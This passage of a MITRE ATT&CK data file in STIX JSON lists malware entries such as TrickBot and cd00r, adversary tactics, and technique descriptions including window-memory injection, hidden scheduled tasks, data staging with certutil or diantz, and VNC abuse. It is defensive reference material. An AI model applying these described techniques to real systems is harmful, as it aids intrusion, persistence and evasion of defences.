                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:22.084Z",
            "name": "Component Object Model Hijacking Mitigation",
            "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "x_mitre_deprecated": true,
            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "malware",
            "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
            "created": "2017-05-31T21:32:40.801Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0061",
                    "external_id": "S0061"
                },
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
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            "modified": "2025-04-16T20:37:51.573Z",
            "name": "HDoor",
            "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)",
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            "x_mitre_platforms": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "modified": "2024-04-10T22:28:21.746Z",
            "name": "TrickBot",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_contributors": [
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            "type": "malware",
            "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/software/S0266",
                    "external_id": "S0266"
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                {
                    "source_name": "TrickBot",
                    "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)"
                },
                {
                    "source_name": "TSPY_TRICKLOAD",
                    "description": "(Citation: Trend Micro Totbrick Oct 2016)"
                },
                {
                    "source_name": "Totbrick",
                    "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                },
                {
                    "source_name": "IBM TrickBot Nov 2016",
                    "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.",
                    "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"
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                {
                    "source_name": "TrendMicro Trickbot Feb 2019",
                    "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/"
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                {
                    "source_name": "CrowdStrike Wizard Spider October 2020",
                    "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.",
                    "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"
                },
                {
                    "source_name": "Microsoft Totbrick Oct 2017",
                    "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"
                },
                {
                    "source_name": "Fidelis TrickBot Oct 2016",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
                },
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
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            "id": "malware--00936d7a-451d-4a9c-88fc-05b141aa2d3f",
            "created": "2025-02-19T20:07:23.223Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S1204",
                    "external_id": "S1204"
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                {
                    "source_name": "Lumen J-Magic JAN 2025",
                    "description": "Black Lotus Labs. (2025, January 23). The J-Magic Show: Magic Packets and Where to find them. Retrieved February 17, 2025.",
                    "url": "https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/"
                },
                {
                    "source_name": "Hartrell cd00r 2002",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
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            "modified": "2025-04-15T19:46:33.009Z",
            "name": "cd00r",
            "description": "[cd00r](https://attack.mitre.org/software/S1204) is an open-source backdoor for UNIX and UNIX-variant operating systems that was orginally released in 2000. [cd00r](https://attack.mitre.org/software/S1204) source code is primarily based on a packet-capturing program as it utilizes a sniffer to listen for specific sequences of network traffic or \"secret knock\" before executing the attacker's code.(Citation: Hartrell cd00r 2002)(Citation: Lumen J-Magic JAN 2025)\n\n",
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            "x_mitre_platforms": [
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            "type": "malware",
            "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "created": "2017-05-31T21:33:19.746Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0139",
                    "external_id": "S0139"
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                {
                    "source_name": "PowerDuke",
                    "description": "(Citation: Volexity PowerDuke November 2016)"
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                {
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                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
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                    "source_name": "Red Canary Emotet Feb 2019",
                    "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.",
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                    "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.",
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                    "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.",
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                    "description": "(Citation: Novetta-Axiom)"
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                    "source_name": "MdmBot",
                    "description": "(Citation: Novetta-Axiom)"
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                    "description": "(Citation: Novetta-Axiom)"
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                    "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures"
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                    "source_name": "FireEye Sunshop Campaign May 2013",
                    "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved November 17, 2024.",
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                    "description": "Petrovsky, O. (2016, August 30). \u201c9002 RAT\u201d -- a second building on the left. Retrieved February 20, 2018.",
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                    "source_name": "Caterpillar WebShell",
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                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.",
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                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.",
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                    "description": "Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021.",
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            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)",
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            "modified": "2025-04-25T14:45:33.853Z",
            "name": "Privilege Escalation",
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            "description": "The adversary is trying to hide and conceal their actions, appearing as normal behavior.\n\nStealth consists of techniques that reduce the likelihood of detection by blending in with legitimate activity or minimizing observable signals. These techniques are characterized by concealment behaviors, such as avoiding, obfuscating, or mimicking normal operations, without modifying security controls or compromising collection and monitoring feeds. The goal is to remain indistinguishable from benign activity while leaving defensive systems intact.",
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            "name": "Resource Development",
            "description": "The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.",
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            "created": "2020-10-02T14:48:41.809Z",
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            "modified": "2025-04-25T14:45:36.201Z",
            "name": "Reconnaissance",
            "description": "The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.",
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                    "url": "https://attack.mitre.org/tactics/TA0011",
                    "external_id": "TA0011"
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            "modified": "2025-04-25T14:45:36.561Z",
            "name": "Command and Control",
            "description": "The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/tactics/TA0001",
                    "external_id": "TA0001"
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            "modified": "2025-04-25T14:45:36.917Z",
            "name": "Initial Access",
            "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.",
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            "created": "2020-01-14T17:18:32.126Z",
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                    "url": "https://attack.mitre.org/techniques/T1055/011",
                    "external_id": "T1055.011"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                },
                {
                    "source_name": "Microsoft Window Classes",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
                },
                {
                    "source_name": "Microsoft GetWindowLong function",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
                },
                {
                    "source_name": "Microsoft SetWindowLong function",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
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            "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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            "created": "2019-11-27T14:58:00.429Z",
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                    "external_id": "T1053.005"
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                {
                    "source_name": "ProofPoint Serpent",
                    "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
                },
                {
                    "source_name": "Defending Against Scheduled Task Attacks in Windows Environments",
                    "description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.",
                    "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"
                },
                {
                    "source_name": "Twitter Leoloobeek Scheduled Task",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
                    "url": "https://x.com/leoloobeek/status/939248813465853953"
                },
                {
                    "source_name": "Tarrask scheduled task",
                    "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"
                },
                {
                    "source_name": "Microsoft Scheduled Task Events Win10",
                    "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
                },
                {
                    "source_name": "TechNet Scheduled Task Events",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "url": "https://technet.microsoft.com/library/dd315590.aspx"
                },
                {
                    "source_name": "Red Canary - Atomic Red Team",
                    "description": "Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
                },
                {
                    "source_name": "SigmaHQ",
                    "description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.",
                    "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"
                },
                {
                    "source_name": "Stack Overflow",
                    "description": "Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.",
                    "url": "https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder"
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            "modified": "2026-05-12T15:12:00.618Z",
            "name": "Scheduled Task",
            "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ",
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                "Zachary Abzug, @ZackDoesML"
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            "id": "attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520",
            "created": "2022-09-30T21:18:41.930Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1205/002",
                    "external_id": "T1205.002"
                },
                {
                    "source_name": "exatrack bpf filters passive backdoors",
                    "description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.",
                    "url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
                },
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.",
                    "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
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                {
                    "source_name": "haking9 libpcap network sniffing",
                    "description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.",
                    "url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"
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            "created": "2017-05-31T21:30:54.176Z",
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            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.",
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            "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "created": "2020-02-20T21:01:25.428Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/001",
                    "external_id": "T1560.001"
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                {
                    "source_name": "WinRAR Homepage",
                    "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.",
                    "url": "https://www.rarlab.com/"
                },
                {
                    "source_name": "WinZip Homepage",
                    "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
                    "url": "https://www.winzip.com/win/en/"
                },
                {
                    "source_name": "7zip Homepage",
                    "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
                    "url": "https://www.7-zip.org/"
                },
                {
                    "source_name": "diantz.exe_lolbas",
                    "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
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            "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)",
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            "x_mitre_contributors": [
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                "Mark Wee"
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            "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "created": "2020-02-11T18:28:44.950Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/005",
                    "external_id": "T1021.005"
                },
                {
                    "source_name": "Attacking VNC Servers PentestLab",
                    "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
                    "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
                },
                {
                    "source_name": "MacOS VNC software for Remote Desktop",
                    "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
                    "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
                },
                {
                    "source_name": "Havana authentication bug",
                    "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.",
                    "url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
                },
                {
                    "source_name": "macOS root VNC login without authentication",
                    "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
                    "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
                },
                {
                    "source_name": "Offensive Security VNC Authentication Check",
                    "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
                    "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
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                {
                    "source_name": "Gnome Remote Desktop grd-settings",
                    "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
                    "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"
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                {
                    "source_name": "Gnome Remote Desktop gschema",
                    "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
                    "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
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                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "VNC Vulnerabilities",
                    "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
                },
                {
                    "source_name": "The Remote Framebuffer Protocol",
                    "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
                },
                {
                    "source_name": "VNC Authentication",
                    "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
                    "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
                },
                {
                    "source_name": "Hijacking VNC",
                    "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
                    "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
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            "modified": "2025-10-24T17:48:19.567Z",
            "name": "VNC",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
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            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "created": "2017-05-31T21:30:44.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1047",
                    "external_id": "T1047"
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                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Mandiant WMI",
                    "description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
                    "url": "https://www.mandiant.com/resources/reports"
                },
                {
                    "source_name": "WMI 6",
